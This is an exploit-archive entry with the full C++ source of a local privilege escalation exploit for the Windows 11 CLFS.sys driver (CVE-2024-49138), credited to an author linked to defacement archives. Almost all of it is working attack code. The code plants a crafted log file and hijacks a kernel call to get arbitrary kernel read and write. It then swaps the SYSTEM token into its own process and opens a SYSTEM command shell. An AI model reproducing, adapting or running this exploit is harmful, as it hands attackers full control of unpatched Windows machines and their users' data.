Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege

Author: Milad karimi
type: local
platform: windows
port: 
date_added: 2025-04-22  
date_updated: 2025-04-22  
verified: 0  
codes: CVE-2024-49138  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 52270.c  
# Exploit Title: Microsoft Windows 11 23h2 - CLFS.sys Elevation of Privilege
# Date: 2025-04-16
# Exploit Author: Milad Karimi (Ex3ptionaL)
# Contact: miladgrayhat@gmail.com
# Zone-H: www.zone-h.org/archive/notifier=Ex3ptionaL
# MiRROR-H: https://mirror-h.org/search/hacker/49626/
# CVE: CVE-2024-49138


#include <iostream>
#include <Windows.h>
#include <clfsw32.h>
#include <format>
#include <psapi.h>
#include <iostream>
#include <fstream>
#include <iomanip>
#include <vector>
#include <cstdint>
#include "resource.h"

#define CONTROL_BLOCK_SIZE 0x400
#define OFFSET_EXTENDED_STATE 0x84
#define OFFSET_IEXTENDED_BLOCK 0x88
#define OFFSET_IFLUSHB_BLOCK 0x8c

#define _CRT_SECURE_NO_WARNINGS 1

//dt nt!_KTHREAD current
//+ 0x230 UserAffinityPrimaryGroup : 0
//+ 0x232 PreviousMode : 1 ''
//+ 0x233 BasePriority : 15 ''
//+ 0x234 PriorityDecrement : 0 ''
//+ 0x234 ForegroundBoost : 0y0000
//+ 0x234 UnusualBoost : 0y0000
//+ 0x235 Preempted : 0 ''
//+ 0x236 AdjustReason : 0 ''
//+ 0x237 AdjustIncrement : 0 ''
//+ 0x238 AffinityVersion : 0x14
//+ 0x240 Affinity : 0xffffc201`419e1a58 _KAFFINITY_EX
//WINDBG > dq ffffc201419e1080 + 0x232 L1
//ffffc201`419e12b2 00140000`00000f01

//WINDBG > ? nt!PoFxProcessorNotification - nt
//Evaluate expression : 3861424 = 00000000`003aebb0
//WINDBG > ? nt!DbgkpTriageDumpRestoreState - nt
//Evaluate expression : 8324768 = 00000000`007f06a0
//WINDBG > ? nt!PsActiveProcessHead - nt
//Evaluate expression : 12812128 = 00000000`00c37f60

#define POFXPROCESSORNOTIFICATION_OFFSET 0x3aebb0
#define DBGKPTRIAGEDUMPRESTORESTATE_OFFSET 0x7f06a0
#define PSACTIVEPROCESSHEAD_OFFSET 0xc37f60
#define ACTIVEPROCESSLINKS_OFFSET 0x448
#define UNIQUEPROCESSID_OFFSET 0x440
#define TOKEN_OFFSET 0x4b8
#define TOKENPRIVILEGESPRESENT_OFFSET 0x40
#define TOKENPRIVILEGSENABLED_OFFSET 0x48

#pragma comment(lib, "Clfsw32.lib")

LPVOID GetKernelBaseAddress() {
    LPVOID drivers[1024]; // Array to hold driver addresses
    DWORD cbNeeded; // Bytes returned by EnumDeviceDrivers
    int driverCount;
    TCHAR driverName[MAX_PATH];

    // Enumerate loaded device drivers
    if (!EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
        printf("Failed to enumerate device drivers. Error: %lu\n",
GetLastError());
        return (LPVOID)0x0;
    }

    driverCount = cbNeeded / sizeof(drivers[0]);

    if (driverCount == 0) {
        printf("No device drivers found.\n");
        return (LPVOID)0x0;
    }

    // The first driver is usually the Windows kernel
    LPVOID kernelBaseAddress = drivers[0];

    // Retrieve the name of the kernel driver
    if (GetDeviceDriverBaseName(kernelBaseAddress, driverName, MAX_PATH)) {
        printf("Kernel Base Address: 0x%p\n", kernelBaseAddress);
        printf("Kernel Name: %ls\n", driverName);
    }
    else {
        printf("Failed to retrieve kernel name. Error: %lu\n",
GetLastError());
    }

    return kernelBaseAddress;

}


#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
    ULONG SystemInformationClass,
    PVOID SystemInformation,
    ULONG SystemInformationLength,
    PULONG ReturnLength
    );

// Definitions for NTSTATUS and system calls
using fNtReadVirtualMemory = NTSTATUS(WINAPI*)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    ULONG BufferSize,
    PULONG NumberOfBytesRead);

using fNtWriteVirtualMemory = NTSTATUS(WINAPI*)(
    HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    ULONG BufferSize,
    PULONG NumberOfBytesWritten);

fNtReadVirtualMemory NtReadVirtualMemory = NULL;
fNtWriteVirtualMemory NtWriteVirtualMemory = NULL;

// handle information
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
    USHORT UniqueProcessId;
    USHORT CreatorBackTraceIndex;
    UCHAR ObjectTypeIndex;
    UCHAR HandleAttributes;
    USHORT HandleValue;
    PVOID Object;
    ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

// handle table information
typedef struct _SYSTEM_HANDLE_INFORMATION
{
    ULONG NumberOfHandles;
    SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

PVOID GetKAddrFromHandle(HANDLE handle) {
    ULONG returnLength = 0;
    fNtQuerySystemInformation NtQuerySystemInformation =
(fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtQuerySystemInformation");
    PSYSTEM_HANDLE_INFORMATION handleTableInformation =
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
SystemHandleInformationSize);
    NtQuerySystemInformation(SystemHandleInformation,
handleTableInformation, SystemHandleInformationSize, &returnLength);

    ULONG numberOfHandles = handleTableInformation->NumberOfHandles;

    HeapFree(GetProcessHeap(), 0, handleTableInformation);
    handleTableInformation =
(PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY,
numberOfHandles * sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) +
sizeof(SYSTEM_HANDLE_INFORMATION) + 0x100);
    NtQuerySystemInformation(SystemHandleInformation,
handleTableInformation, numberOfHandles *
sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO) + sizeof(SYSTEM_HANDLE_INFORMATION)
+ 0x100, &returnLength);

    for (int i = 0; i < handleTableInformation->NumberOfHandles; i++)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo =
(SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];

        if (handleInfo.HandleValue == (USHORT)handle &&
handleInfo.UniqueProcessId == GetCurrentProcessId())
        {
            return handleInfo.Object;
        }
    }
}


LPVOID g_ntbase = 0;
LPVOID address_to_write;

//Final byte = kthread.previousMode = 0
DWORD64 value_to_write = 0x0014000000000f00;

//BOOL SwapTokens() {
// DWORD64 eprocess = 0;
// ULONG bytesRead = 0;
// DWORD64 systemtoken = 0;
// DWORD64 currenttoken = 0;
// DWORD pid = 0;
// DWORD64 privileges = 0x0000001ff2ffffbc;
//
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +
PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL);
// eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET;
//
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
&systemtoken, sizeof(systemtoken), NULL);
//
//
// while (1) {
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL);
//
// eprocess -= ACTIVEPROCESSLINKS_OFFSET;
//
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL);
// std::cout << "pid = " << pid << std::endl;
//
// if (pid == GetCurrentProcessId())
// break;
// }
//
// NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
&currenttoken, sizeof(currenttoken), NULL);
//
//
//
// //clears refcnt
// currenttoken = currenttoken & 0xfffffffffffffff0;
//
// printf("performing NtWriteVirtualMemory..\n");
//
// getchar();
//
// //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +
TOKENPRIVILEGESPRESENT_OFFSET), &privileges, 0x8, NULL);
// //NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(currenttoken +
TOKENPRIVILEGSENABLED_OFFSET), &privileges, 0x8, NULL);
//
//
// NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
&systemtoken, 0x8, NULL);
//
// return TRUE;
//}

int main()
{
    HMODULE hModule;
    HRSRC hResource;
    errno_t err;
    HGLOBAL hLoadedResource;
    LPVOID pResourceData;
    DWORD resourceSize;
    FILE* file;
    DWORD sectorsPerCluster;
    DWORD bytesPerSector;
    DWORD numberOfFreeClusters;
    DWORD totalNumberOfClusters;
    const char* rootPath = "C:\\";
    PVOID marshallingArea = NULL;
    ULONGLONG pcbContainer = 0;
    std::wstring logFileName = L"LOG:";
    std::wstring inputName = L"C:\\temp\\testlog\\mylogdddd.blf";
    logFileName += inputName;
    DWORD64 buf = 0;
    ULONG bytesRead = 0;
    LPVOID PreviousModeAddr = NULL;
    DWORD threadId = GetCurrentThreadId(); // Get the current thread ID
    DWORD64 eprocess = 0;
    DWORD64 systemtoken = 0;
    DWORD64 currenttoken = 0;
    DWORD64 pid = 0;
    BYTE PreviousMode = 0x1;
    DWORD64 privileges = 0x0000001ff2ffffbc;
    const char* directoryName1 = "C:\\temp";
    const char* directoryName2 = "C:\\temp\\testlog";
    HANDLE logHndl = INVALID_HANDLE_VALUE;
    ULONGLONG cbContainer = (ULONGLONG)0x80000;

    //Creating directories with the baselog and container file
    if (CreateDirectoryA(directoryName1, NULL)) {
        printf("Directory created successfully: %s\n", directoryName1);
    }
    else {
        DWORD error = GetLastError();
        if (error == ERROR_ALREADY_EXISTS) {
            printf("The directory already exists: %s\n", directoryName1);
        }
        else {
            printf("Failed to create the directory. Error code: %lu\n",
error);
            return 0;
        }
    }

    if (CreateDirectoryA(directoryName2, NULL)) {
        printf("Directory created successfully: %s\n", directoryName2);
    }
    else {
        DWORD error = GetLastError();
        if (error == ERROR_ALREADY_EXISTS) {
            printf("The directory already exists: %s\n", directoryName2);
        }
        else {
            printf("Failed to create the directory. Error code: %lu\n",
error);
            return 0;
        }
    }

    //creating BLF
    logHndl = CreateLogFile(logFileName.c_str(),
        GENERIC_WRITE | GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        0);

    if (logHndl == INVALID_HANDLE_VALUE) {
        printf("CreateLogFile failed with error %d\n", GetLastError());
        return 0;
    }
    else {
        printf("file opened successfully\n");
    }

    //creating and adding container to BLF
    if (!AddLogContainer(logHndl, &cbContainer,
(LPWSTR)L"C:\\temp\\testlog\\container1", NULL)) {
        printf("AddLogContainer failed with error %d\n", GetLastError());
    }
    else {
        printf("AddLogContainer successful\n");
    }

    //closing BLF
    CloseHandle(logHndl);

    // Initialize variables
    hModule = GetModuleHandle(NULL);
    if (!hModule) {
        printf("Failed to get module handle.\n");
        return 1;
    }

    // Find the resource in the executable
    hResource = FindResource(hModule, MAKEINTRESOURCE(IDR_RCDATA1),
RT_RCDATA);
    if (!hResource) {
        printf("Failed to find resource. Error: %lu\n", GetLastError());
        return 1;
    }

    printf("hResource = 0x%p\n", hResource);
    // Load the resource into memory
    hLoadedResource = LoadResource(hModule, hResource);
    if (!hLoadedResource) {
        printf("Failed to load resource. Error: %lu\n", GetLastError());
        return 1;
    }
    printf("hResource = 0x%p\n", hLoadedResource);
    // Lock the resource to get a pointer to its data
    pResourceData = LockResource(hLoadedResource);
    if (!pResourceData) {
        printf("Failed to lock resource. Error: %lu\n", GetLastError());
        return 1;
    }
    printf("pResourceData = 0x%p\n", pResourceData);
    // Get the size of the resource
    resourceSize = SizeofResource(hModule, hResource);
    if (resourceSize == 0) {
        printf("Failed to get resource size. Error: %lu\n", GetLastError());
        return 1;
    }

    // At this point, pResourceData points to the binary data, and
resourceSize contains its size
    printf("Resource size: %lu bytes\n", resourceSize);

    // Example: Write the resource data to a file
    err = fopen_s(&file, "C:\\temp\\testlog\\mylogdddd.blf.blf", "wb");
    if (err == 0 && file) {
        fwrite(pResourceData, 1, resourceSize, file);
        fclose(file);
        printf("Resource written to output.bin successfully.\n");
    }
    else {
        printf("Failed to open output file. Error code: %d\n", err);
    }

    //preparing data structures in memory
    g_ntbase = GetKernelBaseAddress();


    NtReadVirtualMemory =
(fNtReadVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtReadVirtualMemory");
    NtWriteVirtualMemory =
(fNtWriteVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll"),
"NtWriteVirtualMemory");

    if (!NtReadVirtualMemory || !NtWriteVirtualMemory) {
        printf("Failed to get addresses for NtReadVirtualMemory or
NtWriteVirtualMemory\n");
        return -1;
    }

    printf("NtReadVirtualMemory = 0x%p\n", (DWORD64)NtReadVirtualMemory);
    printf("NtWriteVirtualMemory = 0x%p\n", (DWORD64)NtWriteVirtualMemory);

    // Open a real handle to the current thread
    HANDLE threadHandle = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);
    if (threadHandle == NULL) {
        printf("Failed to get real handle to the current thread. Error:
%lu\n", GetLastError());
        return 1;
    }

    //0x232 = offset to _KTHREAD.PreviousMode
    address_to_write = (LPVOID)((DWORD64)(GetKAddrFromHandle(threadHandle))
+ 0x232);

    auto pcclfscontainer = VirtualAlloc((LPVOID)0x2100000, 0x1000,
MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

    memset(pcclfscontainer, 0, 0x1000);
    auto vtable = (DWORD64)pcclfscontainer + 0x100;
    auto rcx = pcclfscontainer;

    *(PDWORD64)((PCHAR)rcx + 0x40) = (DWORD64)pcclfscontainer + 0x200;
    *(PDWORD64)((PCHAR)pcclfscontainer + 0x200 + 0x68) = (DWORD64)g_ntbase
+ DBGKPTRIAGEDUMPRESTORESTATE_OFFSET;

    //arg1 of DBGKPTRIAGEDUMPRESTORESTATE
    *(PDWORD64)((PCHAR)rcx + 0x48) = (DWORD64)pcclfscontainer + 0x300;

    auto arg_DBGKPTRIAGEDUMPRESTORESTATE = (DWORD64)pcclfscontainer + 0x300;


    //address of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE. remember
It writes at offset 0x2078 of where
    *((PDWORD64)(arg_DBGKPTRIAGEDUMPRESTORESTATE)) =
(DWORD64)address_to_write - 0x2078;

    //value of arbitrary write of DBGKPTRIAGEDUMPRESTORESTATE
    *((PDWORD64)((PCHAR)arg_DBGKPTRIAGEDUMPRESTORESTATE + 0x10)) =
0x0014000000000f00;

    ((PDWORD64)vtable)[1] = (DWORD64)g_ntbase +
POFXPROCESSORNOTIFICATION_OFFSET;
    *(PDWORD64)pcclfscontainer = (DWORD64)vtable;

    printf("pcclfscontainer = 0x%p\n", (DWORD64)pcclfscontainer);

    printf("address_to_write = 0x%p\n", (DWORD64)address_to_write);

    HANDLE processHandle = GetCurrentProcess(); // Get the current process
handle





    // Set the process priority to HIGH_PRIORITY_CLASS
    if (SetPriorityClass(processHandle, REALTIME_PRIORITY_CLASS)) {
        printf("Process priority set to REALTIME_PRIORITY_CLASS.\n");
    }
    else {
        DWORD error = GetLastError();
        printf("Failed to set process priority. Error code: %lu\n", error);
        return 1;
    }
    threadHandle = GetCurrentThread();
    if (SetThreadPriority(threadHandle, THREAD_PRIORITY_TIME_CRITICAL)) {
        printf("Thread priority set to the highest level:
TIME_CRITICAL.\n");
    }
    else {
        DWORD error = GetLastError();
        printf("Failed to set thread priority. Error code: %lu\n", error);
        return 1;
    }

    printf("triggering vuln...");
    logHndl = CreateLogFile(logFileName.c_str(),
        GENERIC_WRITE | GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        0);

    if (logHndl == INVALID_HANDLE_VALUE) {
        printf("CreateLogFile failed with error %d\n", GetLastError());
    }
    else {
        printf("file opened successfully\n");
    }

    // Set the process priority to HIGH_PRIORITY_CLASS
    if (SetPriorityClass(processHandle, NORMAL_PRIORITY_CLASS)) {
        printf("Process priority set to NORMAL_PRIORITY_CLASS.\n");
    }
    else {
        DWORD error = GetLastError();
        printf("Failed to set process priority. Error code: %lu\n", error);
        return 1;
    }
    if (SetThreadPriority(threadHandle, THREAD_PRIORITY_NORMAL)) {
        printf("Thread priority set to the highest level:
THREAD_PRIORITY_NORMAL.\n");
    }
    else {
        DWORD error = GetLastError();
        printf("Failed to set thread priority. Error code: %lu\n", error);
        return 1;
    }

    printf("vuln triggered\n");

    printf("reading base of ntoskrnl to check we have arbitrary
read/write\n");

    NtReadVirtualMemory((HANDLE)-1, g_ntbase, &buf, sizeof(buf), NULL);

    printf("buf = 0x%p\n", (DWORD64)buf);

    printf("swapping tokens...\n");

    NtReadVirtualMemory((HANDLE)-1, (LPVOID)((DWORD64)g_ntbase +
PSACTIVEPROCESSHEAD_OFFSET), &eprocess, sizeof(eprocess), NULL);
    eprocess = eprocess - ACTIVEPROCESSLINKS_OFFSET;

    NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
&systemtoken, sizeof(systemtoken), NULL);


    while (1) {
        NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
ACTIVEPROCESSLINKS_OFFSET), &eprocess, sizeof(eprocess), NULL);

        eprocess -= ACTIVEPROCESSLINKS_OFFSET;

        NtReadVirtualMemory((HANDLE)-1, (LPVOID)(eprocess +
UNIQUEPROCESSID_OFFSET), &pid, sizeof(pid), NULL);

        if (pid == (DWORD64)GetCurrentProcessId())
            break;
    }

    printf("current token address = 0x%p\n", eprocess + TOKEN_OFFSET);
    printf("systemtoken = 0x%p\n", systemtoken);

    printf("Overwriting process token..\n");

    NtWriteVirtualMemory((HANDLE)-1, (LPVOID)(eprocess + TOKEN_OFFSET),
&systemtoken, sizeof(systemtoken), NULL);

    printf("token swapped. Restoring PreviousMode and spawning system
shell...\n");

    PreviousModeAddr = address_to_write;
    PreviousMode = 0x1;
    NtWriteVirtualMemory((HANDLE)-1, PreviousModeAddr, &PreviousMode,
sizeof(PreviousMode), NULL);

    system("cmd.exe");

    return 0;
}